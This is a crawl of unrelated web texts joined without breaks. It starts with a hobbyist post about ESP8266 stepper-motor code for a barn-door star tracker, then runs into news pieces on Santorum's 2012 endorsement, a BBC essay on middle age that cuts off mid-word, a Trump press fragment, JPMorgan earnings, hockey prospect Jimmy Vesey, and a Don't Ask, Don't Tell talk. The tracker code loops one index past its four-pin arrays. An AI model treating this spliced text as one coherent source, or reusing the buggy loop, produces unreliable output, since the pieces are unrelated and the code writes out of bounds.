Code for ESP8266 and stepper motor spinning at constant rate #define NUM_PINS 4 #define NUM_STEPS 8 int allPins[NUM_PINS] = {D1, D2, D3, D4}; // from manufacturers datasheet int STEPPER_SEQUENCE[NUM_STEPS][NUM_PINS] = {{1,0,0,1}, {1,0,0,0}, {1,1,0,0}, {0,1,0,0}, {0,1,1,0}, {0,0,1,0}, {0,0,1,1}, {0,0,0,1}}; int stepNum = 0; void setup() { Serial.begin(115200); setup_gpio(); } void setup_gpio() { for (int i=0;i<NUM_PINS+1;i++) { pinMode(allPins[i], OUTPUT); } all_pins_off(); } void all_pins_off() { for (int i=0;i<NUM_PINS+1;i++) { digitalWrite(allPins[i], HIGH); } } int *currentStep; void loop() { currentStep = STEPPER_SEQUENCE[stepNum]; for (int i=0;i<NUM_PINS+1;i++) { if (currentStep[i] == 1) { digitalWrite(allPins[i], HIGH); } else { digitalWrite(allPins[i], LOW); } } delay(5); stepNum +=2; // double-stepping. Faster and shakier. stepNum %= NUM_STEPS; } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 #define NUM_PINS 4 #define NUM_STEPS 8 int allPins [ NUM_PINS ] = { D1, D2, D3, D4 } ; // from manufacturers datasheet int STEPPER_SEQUENCE [ NUM_STEPS ] [ NUM_PINS ] = { { 1, 0, 0, 1 }, { 1, 0, 0, 0 }, { 1, 1, 0, 0 }, { 0, 1, 0, 0 }, { 0, 1, 1, 0 }, { 0, 0, 1, 0 }, { 0, 0, 1, 1 }, { 0, 0, 0, 1 } } ; int stepNum = 0 ; void setup ( ) { Serial. begin ( 115200 ) ; setup_gpio ( ) ; } void setup_gpio ( ) { for ( int i = 0 ; i < NUM_PINS + 1 ; i ++ ) { pinMode ( allPins [ i ], OUTPUT ) ; } all_pins_off ( ) ; } void all_pins_off ( ) { for ( int i = 0 ; i < NUM_PINS + 1 ; i ++ ) { digitalWrite ( allPins [ i ], HIGH ) ; } } int * currentStep ; void loop ( ) { currentStep = STEPPER_SEQUENCE [ stepNum ] ; for ( int i = 0 ; i < NUM_PINS + 1 ; i ++ ) { if ( currentStep [ i ] == 1 ) { digitalWrite ( allPins [ i ], HIGH ) ; } else { digitalWrite ( allPins [ i ], LOW ) ; } } delay ( 5 ) ; stepNum += 2 ; // double-stepping. Faster and shakier. stepNum %= NUM_STEPS ; }
Timers, user input, and the accelerating motor
Now for the real deal, let’s code up what we need to do to correct the tangent error and have other practicalities. I was using barebones code for testing and realized it was a pain to reverse my motor (I had to remove wires and rails and twist it by hand. So I decided to add a button to control reversing and stuff.
The motor starts up when you power it up and does its thing. If you press the button once, it reverses all the way back to exactly the starting point (it remembers!), then it stops. If you press the button again, it starts back up.
The delay call in the code above is fine and all, but when the loop step is more complicated (i.e. computing our changing rate), there’s a chance we will not get the right timing. For these kinds of things, there are timers and interrupts. Basically, you write a callback function and register it to be called whenever a specific timer times out. Check it out: (update: this code is available on github)
The barn-door tracker ESP8266 stepper motor code #define NUM_PINS 4 #define NUM_STEPS 8 #define RADS_PER_SEC 7.292115e-05 #define LENGTH_CM 29.113 // fill in with precise measured value #define THETA0 0.0241218 // fill in with angle at fully closed position (radians) #define ROTATIONS_PER_CM 7.8740157 // 1/4-20 thread #define DOUBLESTEPS_PER_ROTATION 2048.0 #define CYCLES_PER_SECOND 80000000 //modes #define NORMAL 0 #define REWINDING 1 #define STOPPED 2 int allPins[NUM_PINS] = {D1, D2, D3, D4}; int MODE_PIN = D7; // from manufacturers datasheet int STEPPER_SEQUENCE[NUM_STEPS][NUM_PINS] = {{1,0,0,1}, {1,0,0,0}, {1,1,0,0}, {0,1,0,0}, {0,1,1,0}, {0,0,1,0}, {0,0,1,1}, {0,0,0,1}}; int step_delta; int step_num = 0; double total_seconds = 0.0; long totalsteps = 0; double step_interval_s=0.001; int *current_step; volatile unsigned long next; // next time to trigger callback volatile unsigned long now; // volatile keyword required when things change in callbacks volatile unsigned long last_toggle; // for debounce volatile short current_mode=NORMAL; bool autostop=true; // hack for allowing manual rewind at boot float ypt(float ts) { // bolt insertion rate in cm/s: y'(t) // Note, if you run this for ~359 minutes, it goes to infinity!! return LENGTH_CM * RADS_PER_SEC/pow(cos(THETA0 + RADS_PER_SEC * ts),2); } void inline step_motor(void) { /* This is the callback function that gets called when the timer * expires. It moves the motor, updates lists, recomputes * the step interval based on the current tangent error, * and sets a new timer. */ switch(current_mode) { case NORMAL: step_interval_s = 1.0/(ROTATIONS_PER_CM * ypt(total_seconds)* 2 * DOUBLESTEPS_PER_ROTATION); step_delta = 1; // single steps while filming for smoothest operation and highest torque step_num %= NUM_STEPS; break; case REWINDING: // fast rewind step_interval_s = 0.0025; // can often get 2ms but gets stuck sometimes. step_delta = -2; // double steps going backwards for speed. if (step_num<0) { step_num+=NUM_STEPS; // modulus works here in Python it goes negative in C. } break; case STOPPED: step_interval_s = 0.2; // wait a bit to conserve power. break; } if (current_mode!=STOPPED) { total_seconds += step_interval_s; // required for tangent error current_step = STEPPER_SEQUENCE[step_num]; do_step(current_step); step_num += step_delta; // double-steppin' totalsteps += step_delta; } // Serial.println(totalsteps); // Before setting the next timer, subtract out however many // clock cycles were burned doing all the work above. now = ESP.getCycleCount(); next = now + step_interval_s * CYCLES_PER_SECOND - (now-next); // will auto-rollover. timer0_write(next); // see you next time! } void do_step(int *current_step) { /* apply a single step of the stepper motor on its pins. */ for (int i=0;i<NUM_PINS+1;i++) { if (current_step[i] == 1) { digitalWrite(allPins[i], HIGH); } else { digitalWrite(allPins[i], LOW); } } } void setup() { Serial.begin(115200); setup_gpio(); setup_timer(); // Convenient Feature: Hold button down during boot to do a manual rewind. // Press button again to set new zero point. int buttonUp = digitalRead(MODE_PIN); if(not buttonUp) { Serial.println("Manual REWIND!"); autostop=false; current_mode=REWINDING; } } void setup_timer() { noInterrupts(); timer0_isr_init(); timer0_attachInterrupt(step_motor); // call this function when timer expires next=ESP.getCycleCount()+1000; timer0_write(next); // do first call in 1000 clock cycles. interrupts(); } void setup_gpio() { for (int i=0;i<NUM_PINS+1;i++) { pinMode(allPins[i], OUTPUT); } all_pins_off(); // Setup toggle button for some user input. pinMode(MODE_PIN, INPUT_PULLUP); attachInterrupt(digitalPinToInterrupt(MODE_PIN), toggle_mode, FALLING); } void all_pins_off() { for (int i=0;i<NUM_PINS+1;i++) { digitalWrite(allPins[i], LOW); } } void toggle_mode() { /* We have several modes that we can toggle between with a button, * NORMAL, REWIND, and STOPPED. */ if(ESP.getCycleCount() - last_toggle < 0.2*CYCLES_PER_SECOND) //debounce { return; } if (current_mode == REWINDING){ Serial.println("STOPPING"); current_mode = STOPPED; all_pins_off(); if (not autostop) { // Reset things after a manual rewind. step_num = 0; total_seconds = 0.0; totalsteps=0; autostop=true; } } else if (current_mode == NORMAL) { Serial.println("Rewinding."); current_mode = REWINDING; } else { Serial.println("Restarting."); current_mode = NORMAL; } last_toggle = ESP.getCycleCount(); } void loop() { if(current_mode == REWINDING) { // we've reached the starting point. stop rewinding. if(totalsteps < 1 and autostop==true){ Serial.println("Ending the rewind and stopping."); current_mode=STOPPED; all_pins_off(); } } else { // no-op. just wait for interrupts. yield(); } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 #define NUM_PINS 4 #define NUM_STEPS 8 #define RADS_PER_SEC 7.292115e-05 #define LENGTH_CM 29.113 // fill in with precise measured value #define THETA0 0.0241218 // fill in with angle at fully closed position (radians) #define ROTATIONS_PER_CM 7.8740157 // 1/4-20 thread #define DOUBLESTEPS_PER_ROTATION 2048.0 #define CYCLES_PER_SECOND 80000000 //modes #define NORMAL 0 #define REWINDING 1 #define STOPPED 2 int allPins [ NUM_PINS ] = { D1, D2, D3, D4 } ; int MODE_PIN = D7 ; // from manufacturers datasheet int STEPPER_SEQUENCE [ NUM_STEPS ] [ NUM_PINS ] = { { 1, 0, 0, 1 }, { 1, 0, 0, 0 }, { 1, 1, 0, 0 }, { 0, 1, 0, 0 }, { 0, 1, 1, 0 }, { 0, 0, 1, 0 }, { 0, 0, 1, 1 }, { 0, 0, 0, 1 } } ; int step_delta ; int step_num = 0 ; double total_seconds = 0.0 ; long totalsteps = 0 ; double step_interval_s = 0.001 ; int * current_step ; volatile unsigned long next ; // next time to trigger callback volatile unsigned long now ; // volatile keyword required when things change in callbacks volatile unsigned long last_toggle ; // for debounce volatile short current_mode = NORMAL ; bool autostop = true ; // hack for allowing manual rewind at boot float ypt ( float ts ) { // bolt insertion rate in cm/s: y'(t) // Note, if you run this for ~359 minutes, it goes to infinity!! return LENGTH_CM * RADS_PER_SEC / pow ( cos ( THETA0 + RADS_PER_SEC * ts ), 2 ) ; } void inline step_motor ( void ) { /* This is the callback function that gets called when the timer * expires. It moves the motor, updates lists, recomputes * the step interval based on the current tangent error, * and sets a new timer. */ switch ( current_mode ) { case NORMAL : step_interval_s = 1.0 / ( ROTATIONS_PER_CM * ypt ( total_seconds ) * 2 * DOUBLESTEPS_PER_ROTATION ) ; step_delta = 1 ; // single steps while filming for smoothest operation and highest torque step_num %= NUM_STEPS ; break ; case REWINDING : // fast rewind step_interval_s = 0.0025 ; // can often get 2ms but gets stuck sometimes. step_delta = - 2 ; // double steps going backwards for speed. if ( step_num < 0 ) { step_num += NUM_STEPS ; // modulus works here in Python it goes negative in C. } break ; case STOPPED : step_interval_s = 0.2 ; // wait a bit to conserve power. break ; } if ( current_mode!= STOPPED ) { total_seconds += step_interval_s ; // required for tangent error current_step = STEPPER_SEQUENCE [ step_num ] ; do_step ( current_step ) ; step_num += step_delta ; // double-steppin' totalsteps += step_delta ; } // Serial.println(totalsteps); // Before setting the next timer, subtract out however many // clock cycles were burned doing all the work above. now = ESP. getCycleCount ( ) ; next = now + step_interval_s * CYCLES_PER_SECOND - ( now - next ) ; // will auto-rollover. timer0_write ( next ) ; // see you next time! } void do_step ( int * current_step ) { /* apply a single step of the stepper motor on its pins. */ for ( int i = 0 ; i < NUM_PINS + 1 ; i ++ ) { if ( current_step [ i ] == 1 ) { digitalWrite ( allPins [ i ], HIGH ) ; } else { digitalWrite ( allPins [ i ], LOW ) ; } } } void setup ( ) { Serial. begin ( 115200 ) ; setup_gpio ( ) ; setup_timer ( ) ; // Convenient Feature: Hold button down during boot to do a manual rewind. // Press button again to set new zero point. int buttonUp = digitalRead ( MODE_PIN ) ; if ( not buttonUp ) { Serial. println ( "Manual REWIND!" ) ; autostop = false ; current_mode = REWINDING ; } } void setup_timer ( ) { noInterrupts ( ) ; timer0_isr_init ( ) ; timer0_attachInterrupt ( step_motor ) ; // call this function when timer expires next = ESP. getCycleCount ( ) + 1000 ; timer0_write ( next ) ; // do first call in 1000 clock cycles. interrupts ( ) ; } void setup_gpio ( ) { for ( int i = 0 ; i < NUM_PINS + 1 ; i ++ ) { pinMode ( allPins [ i ], OUTPUT ) ; } all_pins_off ( ) ; // Setup toggle button for some user input. pinMode ( MODE_PIN, INPUT_PULLUP ) ; attachInterrupt ( digitalPinToInterrupt ( MODE_PIN ), toggle_mode, FALLING ) ; } void all_pins_off ( ) { for ( int i = 0 ; i < NUM_PINS + 1 ; i ++ ) { digitalWrite ( allPins [ i ], LOW ) ; } } void toggle_mode ( ) { /* We have several modes that we can toggle between with a button, * NORMAL, REWIND, and STOPPED. */ if ( ESP. getCycleCount ( ) - last_toggle < 0.2 * CYCLES_PER_SECOND ) //debounce { return ; } if ( current_mode == REWINDING ) { Serial. println ( "STOPPING" ) ; current_mode = STOPPED ; all_pins_off ( ) ; if ( not autostop ) { // Reset things after a manual rewind. step_num = 0 ; total_seconds = 0.0 ; totalsteps = 0 ; autostop = true ; } } else if ( current_mode == NORMAL ) { Serial. println ( "Rewinding." ) ; current_mode = REWINDING ; } else { Serial. println ( "Restarting." ) ; current_mode = NORMAL ; } last_toggle = ESP. getCycleCount ( ) ; } void loop ( ) { if ( current_mode == REWINDING ) { // we've reached the starting point. stop rewinding. if ( totalsteps < 1 and autostop == true ) { Serial. println ( "Ending the rewind and stopping." ) ; current_mode = STOPPED ; all_pins_off ( ) ; } } else { // no-op. just wait for interrupts. yield ( ) ; } }
(That bit about setting the timer at the end of the callback took some trial-and-error… it kept crashing around 4.2 billion clock cycles. Turns out that’s the max unsigned long int value. Neat. )
Portable use and Power Consumption
Stars are better when it’s darker, and that often requires remote operation. This thing runs off a USB port so if you have one of those external batteries, that should work. I tried a few options here, including a big deep-cycle battery that I use for ham radio for the really long hauls.
Through a 12V-to-5V converter, I measured 0.189 Amps, yielding 2.27 Watts. So my huge 20Ah battery could run it for 4 full days. More practically, 3 of those common lightweight Li-ion 18650s chained together would run it for over 2 days (wow). So that’s nice.
Polar alignment
It’s important to get everything aligned so it works right. You have to make sure:
Your finderscope is aligned with the hinge axis (swing it and make sure a faraway thing like a star stays in the middle).
Your finderscope is pointed at the celestial pole (close to Polaris, but not right on it)
I set a straw on my hinge and aimed it at a tower crane in the distance. Then I pointed the camera at the same crane and rotated it. With some adjustment it didn’t rotate too much, so at that point I could point the camera at Polaris, lock in the tripod, and be off.
For the longer term, I ordered one of those red-dot things from the internets because my dad got one years ago for his telescope and it was great. Once get it aligned I can just point-and-go.
UPDATE: I got it (see picture in angular calibration section below) and it is perfect.
First attempts at using
I tried it out with the straw-on-the-hinge alignment and got it sort-of aligned, to the point that I couldn’t wait to turn it on and try it. This was from downtown downtown Seattle so the light pollution was pretty intense. Fortunately I shot in RAW and could get some stars out of it.
Test number 1: It works!
Then I just pointed it around and did what I could.
Not bad. It wasn’t perfectly aligned so I’ll do more serious tests once I get that done and head to some actual dark sky.
Precise Angular Velocity Calibration
Just to check my math a bit more, I got a digital level and figured out how to get it to dump data to my PC. Then I let it run with my tracker for a while and did some least-squares fitting to see how it was working.
So I measured a nice and constant 7.255e-5 radians/second over 10 minutes. That’s within 0.5% of the right answer. I can now adjust my target in software to speed it up by 0.5% and get it really accurate! The calibration software is also available on github.
Future work
Get a telescope. Learn how to stack photos.
Some referencesA group of conservative activists decided Saturday to throw its support behind Rick Santorum in the battle for the Republican presidential nomination.
Tony Perkins, the president of the Family Research Council and a spokesman for the group of roughly 150 activists, said that a “strong consensus” emerged for the former Pennsylvania senator after a three-ballot process.
ADVERTISEMENT
“I think it was vigorous discussion of who they felt best represented the conservative movement and who they think had the best chance of succeeding,” said Perkins, adding that he was surprised that the group was able to coalesce around one candidate.
The activists gathering in Texas, a week before South Carolina voters go to the polls in their primary, said their get-together was meant to unite behind an alternative to President Obama and not to “bash” Mitt Romney – the front-runner for the nomination who is viewed with skepticism within some conservative and evangelical circles.
But Perkins also said he did not believe the conservative leaders had weighed in too late to blunt Romney’s momentum, even though the former Massachusetts governor became the first non-incumbent Republican to win both the Iowa caucuses and the New Hampshire primary.
The race, Perkins said, is “far from decided,” noting that Romney had just a handful of the delegates he needed to capture the nomination.
“This could be exactly the right time,” the social conservative leader said, calling South Carolina “a state that is more reflective of the social conservative movement.”
At the Texas event, Santorum got roughly three-quarters of the 114 votes on the final ballot, where he faced off against former House Speaker Newt Gingrich. Gov. Rick Perry of Texas also received considerable support from the group, Perkins added.
“The group spent a good bit of time praying for unity and for consensus that could communicate the seriousness of the position this country is in,” Perkins said. “We don’t need to just change jerseys. We need to change the way we do business.”
Perkins said that the activists who attended the event had agreed to have an open mind about supporting whoever emerged from the meeting, even if they had entered the weekend backing another candidate.
But the FRC president also said that some activists should not necessarily be expected to switch their support, as Gingrich, Perry and Santorum all continue to battle on in South Carolina.
In fact, Perkins declared that he would not be surprised if some participants left the meeting peeved at the outcome.
“Almost on any given Sunday, somebody’s going to leave church upset,” he said.
The weekend meeting was in part an effort by social conservatives to avoid a repeat of the 2008 election, when evangelicals failed to coalesce behind a single candidate.
“That was the whole genesis behind the meeting,” Perkins said.
That year, Sen. John McCain John Sidney McCainGOP lobbyists worry Trump lags in K Street fundraising Mark Kelly kicks off Senate bid: ‘A mission to lift up hardworking Arizonans’ Gabbard hits back at Meghan McCain after fight over Assad MORE of Arizona, another candidate that social conservatives were not that fond of, captured the Republican nomination.
Like all the GOP candidates except for former Gov. Jon Huntsman of Utah, Romney sent a surrogate to brief the Texas meeting.
But Perkins also said that Romney’s candidacy merited little discussion, and that it should be no surprise that the former Massachusetts governor was far from the favored candidate for social conservatives.
“If he were, there would’ve been no need for this meeting,” Perkins said.
Still, it remains to be seen what the activists’ decision means for Santorum, a Catholic who has not been shy in discussing his social conservative bona fides on the campaign trail.
Perkins said that he expected the former two-term senator’s campaign to get a jolt of financial and grassroots support out of the meeting. But he also suggested the support would not be that coordinated among the groups in attendance.
“Within 24 hours, you’ll begin to see that take shape,” Perkins said about individual groups’ response. “They will be able to define what they’ll be doing.”
This story was originally posted at 12:50 p.m. and has been updated.People love to talk about the perils of middle age and mid-life crises. But what really happens in our middle years, asks David Bainbridge.
I have a confession to make. I am 43.
I have a belly, reduced skin elasticity, extra hair where I really don't want it, and a sports car. I, in short, am a middle-age cliche. But I am taking it a day at a time.
I still remember the day I went to buy that aged blue Lotus. I was 41 at the time and only too aware of the vast burden of middle-age stereotypes looming over me as I gazed at the car, which was glistening in the late-spring sun. I could hear a middle-aged devil on one shoulder grunt: "Go on - buy it." Then, after a pause, a middle-aged angel on my other shoulder pipe up: "OK, then. Why not?"
So I bought the car, but was I jumping headlong into the world of the so-called mid-life crisis?
We often think negatively about middle age. It is not a stage of life which we await with excitement. It does not get mentioned much in the media - not in a positive light, at least. Yet as certain suspiciously abrupt changes have overtaken me in recent years, middle age has come to fascinate me.
Find out more David Bainbridge is a clinical veterinary anatomist at Cambridge University and a science writer
He is the author of Middle Age - A Natural History
His episode of Four Thought is on BBC Radio 4 on 23 November 2011 at 20:45 GMT Listen again via the BBC iPlayer Or download the podcast
I am a vet and a reproductive biologist, with a training in zoology, so I suppose I was always likely to end up looking at it in an unorthodox way. Lots of people study childhood, or adolescence, or youth, or old age, but it seemed to be left up to me to study middle age. And because I knew more about animals than people, I studied it as an outsider, as it were.
What I found surprised me.
Middle age does not really exist elsewhere in the animal kingdom. Indeed, it wouldn't make any sense anywhere else in the animal kingdom. We humans usually stop making babies in our early 40s. Any other self-respecting species would take the Darwinian hint and die once that happened.
Yet we humans are exceptional because we don't curl up and die. Far from it. Data from life insurance companies suggests that in the fifth and sixth decades of life you are less likely to die over the coming year than at any other time in your life. Compared with other animals, this seems ridiculous.
The whole process of middle age seems deeply suspicious as it doesn't seem to be about getting old.
People are not demonstrably more stupid and not a whole lot weaker at 50 than they are at 20. And although imaging studies show that middle-aged people may use different brain regions to do the same old tasks, cognitive tests show that apart from brute speed, the brain's abilities are not diminished in middle age. They may be reaching their peak.
Also, although bone mass declines and muscle mass declines, rarely do things get so fragile that they snap. Most important of all, in offices, on construction sites, on football pitches around the world, the great, complex, social, co-operative endeavours which typify our species and make us human, in all of these you find middle-aged people telling supposedly sharper and stronger young adults what to do.
Infantile behaviour
Biologically, the middle-aged human body does not look like something being left to slowly decay. As a counter-example, if machines are left to deteriorate then some of them break down immediately, whereas others function perfectly for a very long time.
Middle-aged humans are simply not like that. They do not vary that much. Almost no-one starts breaking their hip at 40, whereas no-one still looks youthful at 60 - well, not naturally, anyway. If middle age were passive, uncontrolled failure, then it would vary between individuals much more than it does.
In fact, the two examples which buck the trend - the two body systems which do clearly deteriorate in middle age - make my point for me. First, long-sightedness (presbyopia) is almost unknown at 35, yet is universal by 50. I am already running out of arm's length at which to hold my reading matter.
Image caption The media comment when older men seek out younger women
The same is true of reduced skin elasticity. I can almost feel this happening and presumably this process is acceptable as long as I do not look so repulsive or decayed that I actively repel those around me.
So, those changes which do take place in middle age are so precisely controlled and carefully permitted they simply cannot result from creeping failure and decay. In short, the changes of middle age are too abrupt, distinctive of this phase of life, and characteristic of our species for that.
There is a controlling force at work in middle age which allows a few parts of us to suddenly fail, while maintaining the rest of us in good condition.
Indeed, it has become very clear to me the changes of middle age represent a developmental stage of life, as distinct and real as infancy or adolescence. Middle-aged development is programmed into each of us. We each possess the genetic recipe for long, healthy, human middle age. And we owe that genetic inheritance to hundreds of thousands of years of human history, during which - contrary to what you might think - humans frequently lived into their fifth and sixth decades.
Emotional flux
But can this newfound understanding of middle age - its biological basis, its evolutionary origins - help us understand the belly, the inelastic skin, the sports car parked on my drive?
I believe the answer is yes. It is time to take a journey deep into the dreaded male mid-life crisis. It's painfully close to home for some, I know, and perhaps even unpalatable, but this challenge simply must be faced. Men fear it and women joke about it, but what is it exactly?
We humans are an 'information economy' and middle age is the time when we pass on most of that information - this is why middle-aged people like being listened to
Well, the concept is only a few decades old but it has always been an elusive thing to define. Common versions of the "cr |
day Donald Trump sworn in as the 45th President of the United States. Getty 9/14 A woman holds an anti-U.S. President-elect Donald Trump placard during a rally in Tokyo, Japan, Getty 10/14 A Palestinian protester holds a placard during a demonstration against the construction of Jewish settlements in the occupied West Bank and against US President-elect Donald Trump, on January 20, 2017, near the settlement of Maale Adumim, east of Jerusalem Getty 11/14 Banners on North Bridge in Edinburgh as part of the Bridges Not Walls protest against US President Donald Trump on the day of his inauguration Getty 12/14 Russian artist Vasily Slonov (L) and his assistant carry a life-sized cutout, which is an artwork created by Slonov and titled "Siberian Inauguration", before its presentation on the occasion of the inauguration of U.S. President-elect Donald Trump, in a street in Krasnoyarsk, Russia Getty 13/14 A woman holds a banner during a march to thank outgoing President Barack Obama and reject US President-elect Donald Trump before his inauguration at a park in Tokyo, Japan, 20 January 2017. EPA 14/14 Palestinian demonstrators protesting this week against a promise by Donald Trump to re-locate the US embassy to Jerusalem Reuters
“The White House is a toxic mix of ideology, inexperience and rivalries; insiders say tantrums are nearly as common as the spelling errors in the press office’s news releases. [Chief strategist] Steve Bannon writes the president’s script, and Reince Priebus, the embattled chief of staff, crashes meetings to which he has not been invited.
“If there is any upside here, it is that the administration’s ineptitude has so far spared the nation from a wholesale dismantling of major laws, including the Affordable Care Act, though he may yet kill the law through malign neglect.”
Mr Trump has frequently attacked the US media, and the New York Times in particular, for reporting what he claims is ‘fake news’. He often takes to Twitter to write early-morning posts criticising the press for negative coverage of him and his team.
The US President tends to refer to the Times as “failing”, despite the paper saying it has seen a tenfold increase in subscribers since Mr Trump’s election.
On Friday, he called the Times and several other media organisations “not my enemies [but] enemies of the American people”.
He made a similar claim at a rally in Florida telling supporter the media was "part of the corrupt system".
"When the media lies to the people I will never let them get away with it", he added.
We’ll tell you what’s true. You can form your own view.
At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.
Subscribe nowJPMorgan Chase (JPM) CEO Jamie Dimon gave an upbeat view of the U.S. economy in the bank’s earnings report on Thursday.
“U.S. consumers and businesses are healthy overall and with pro-growth initiatives and improving collaboration between government and business, the U.S. economy can continue to improve,” Dimon said in the firm’s release. “We will be there to do our part, strong and steadfast in good times and bad, and working every day to support our clients and our communities.”
The largest U.S. bank by assets, JPMorgan kicked off earnings season for financials reporting better-than-expected first-quarter earnings per share of $1.65, beating analysts estimates of $1.52. Revenue came in at $25.6 billion.
Dimon noted that the consumer businesses continued to grow. During the quarter, the bank had $622.9 billion in deposits, up 11% year-over-year. Loans increased 5% to $466.8 billion.
“The consumer businesses continue to grow core loans at double digits, outperform the industry in deposit growth, and we once again had very strong card sales volume growth this quarter – reflecting our commitment to providing our customers the innovative products and services they want,” Dimon said.
Revenues from investment banking jumped 34% year-over-year to $1.65 billion on an increase in debt and equity underwriting activity. Fixed income trading jumped 17% to $4.2 billion, while equity trading revenue climbed 2% to $1.6 billion.
Citigroup (C) and Wells Fargo (WFC) are slated to report on Thursday morning.
—
Julia La Roche is a finance reporter at Yahoo Finance. Follow her on Twitter.Buy Photo Predators prospect Jimmy Vesey scored an NCAA-leading 32 goals for Harvard last season. (Photo: Samuel M. Simpkins / The Tennessean)Buy Photo Story Highlights Forward Jimmy Vesey was a third-round pick of the Predators in 2012.
Last season at Harvard he scored an NCAA-leading 32 goals and was a Hobey Baker Award finalist.
This past spring, Jimmy Vesey wrestled with an understandably difficult decision.
The high-scoring prospect, who led the country with 32 goals last season, could either forgo his senior season at Harvard and join the Predators during their playoff push or remain in school and complete his education.
Vesey opted for the latter, understanding the importance of earning his government degree because, as he put it earlier this week, "hockey is not going to last forever."
"That's something good to fall back on," he said. "I'm going to wait one more year and finish my college season and hopefully sign after the year."
A third-round pick of the Predators in 2012, Vesey burst into the national spotlight last season, scoring eight more goals than in his first two seasons at Harvard combined. The power forward received ECAC Player of the Year honors and was a finalist for the Hobey Baker Award, given to the top player in college hockey.
"I thought this year, he really kind of rounded out his game a ton," Harvard coach Ted Donato said. "He had a huge step forward and it was obviously an enormous part of the team's success this year."
The Predators believed that Vesey could slide into their lineup seamlessly, adding the kind of scoring punch that wavered during the season's stretch run. He strongly considered it until the Crimson's late-season surge and ECAC tournament championship earned them their first trip to the NCAA tournament since 2006.
"First and foremost, obviously he knew that a decision was looming, I thought how he handled himself around his teammates was really incredible," Donato said. "He was able to keep his focus, never really brought his decision into the locker room.... His ability to focus and really put the team first was very impressive."
Throughout the process, the Predators remained in touch, never pressuring him for an answer.
"They were really understanding," Vesey said. "Since I go to Harvard, the degree is so invaluable that they understood why I'd want to go back."
Vesey could face another important decision next year. Assuming he graduates as he plans to do, the Predators will maintain exclusive rights to sign him to an entry-level contract through Aug. 15, 2016. If Vesey has not signed by then, he becomes a free agent and can join any NHL team.
There have been a handful of instances over the past few years where highly regarded college players have tested free agency. Most recently, University of Minnesota defenseman and two-time All-American Mike Reilly decided not to sign with the Blue Jackets, who drafted him in the fourth round in 2011. Several teams attempted to recruit Reilly this summer before he signed with the Wild on July 1.
Vesey's resume ensures that he'd attract plenty of interest throughout the league, but he doesn't envision that process playing out.
"I have a great relationship (with the Predators), and I think I'm a very loyal person," Vesey said. "At the end of the season, if the opportunity is right, I'd like to sign with Nashville."
JIMMY VESEY FILE
Age: 22
Hometown: North Reading, Mass.
Drafted: Third round (66th overall) 2012
2014-15 statistics: NCAA-leading 32 goals, 58 points
Honors: 2014-15 ECAC Player of the Year, 2014-15 Hobey Baker Award finalistBy most measures, the story of Anthony Woods is quintessentially American.
Growing up in a single-parent home, Woods overcame any disadvantages he may have faced, graduating with honors from his California high school and moving on to attend West Point on a prestigious Congressional appointment.
After finishing at the top of his class at the elite military academy, Woods served two tours of duty in Iraq, earning the Bronze Star for his distinguished service to the nation. He then began graduate studies at Harvard’s Kennedy School for Government on a military scholarship, planning to return to the service upon graduation.
There was one small problem, however: Woods, a bright, handsome, talented, honorable, duty-oriented American, also happens to be gay.
During his second year at Harvard, Woods felt compelled to come out to his commanders, necessitating his dismissal under the Defense Department’s “Don’t Ask, Don’t Tell” (DADT) policy (Title 10 of the U.S. Code § 654) – which bars self-identified homosexuals from serving in the U.S. Armed Forces. He received an honorable discharge in December 2008.
No more excuses
Steve Hildebrand, deputy campaign manager for Barack Obama
Steve Hildebrand, speaking at BNL on June 18, did not mince words in discussing the unjust treatment of lesbian, gay, bisexual, transgender and queer* (LGBTQ) Americans under DADT and other federal policies. *[Queer is used here as an inclusive umbrella term, not in its older pejorative sense. See note at end of article for more information.]
“It’s a disgrace that Woods was discharged from the military,” he said. “Many gay people are saying, ‘I’ve fought harder for them [the American people] than they’re fighting for me.’”
BNL’S Diversity Office, in cooperation with the GLOBE (Gay, Lesbian or Bisexual Employees) club, invited Hildebrand, President Barack Obama’s deputy campaign manager and the most senior openly gay member of the team, to speak at the Lab in honor of LGBTQ Pride Month, which is celebrated annually in June.
The message of Hildebrand’s talk, “The Obama Vision: Equality for All,” was clear: the queer community and its supporters should no longer take “no” for an answer.
“We are at the point where there really can be no more excuses,” he said.
A time for pride
Considering the decades-long battle that LGBTQ people have fought for civil rights in the United States, Hildebrand’s impatience is not surprising.
Forty years ago this month, at a small bar called the Stonewall Inn in the Greenwich Village neighborhood of New York City, members and supporters of the LGBTQ community forcefully resisted discriminatory police harassment in a historical and cultural moment that would become known as the start of the “gay” civil rights movement.
In the years that followed, queer individuals, groups and their allies have marked the watershed event by designating June, particularly the days around June 28 (the beginning date of the Stonewall protest), as a time to celebrate “Pride.” On the first of the month, President Obama formally recognized the tradition, proclaiming June 2009 to be LGBT Pride Month.
The politics of emotion
Raised in a “closeted, small-minded” community in South Dakota, Hildebrand recalled the difficulties of growing up gay, even in a household that “understood itself to be progressive.” It was this struggle, combined with a sense of tenacity instilled by his mother, that led Hildebrand to a career in political consulting. He has since worked with many notable political figures, including U.S. Senator Tom Daschle (D-SD) and former Vice President Al Gore.
Hildebrand joined Obama at the beginning of the Presidential bid process, when the junior senator from Illinois was still deciding whether or not to run. As a person close to the candidate, Hildebrand claimed that he was responsible for “passing out the Kool-Aid” that influenced the ultimate decision.
“I just knew it was time for him [Obama],” he said. “I had – and still have – hope that this man can really make positive change in America.”
Political advising aside, however, Hildebrand noted that his most important contribution to the campaign was to attach emotional weight to Obama’s somewhat “cerebral” policy positions. Unsurprisingly, much of the talk echoed this way of thinking.
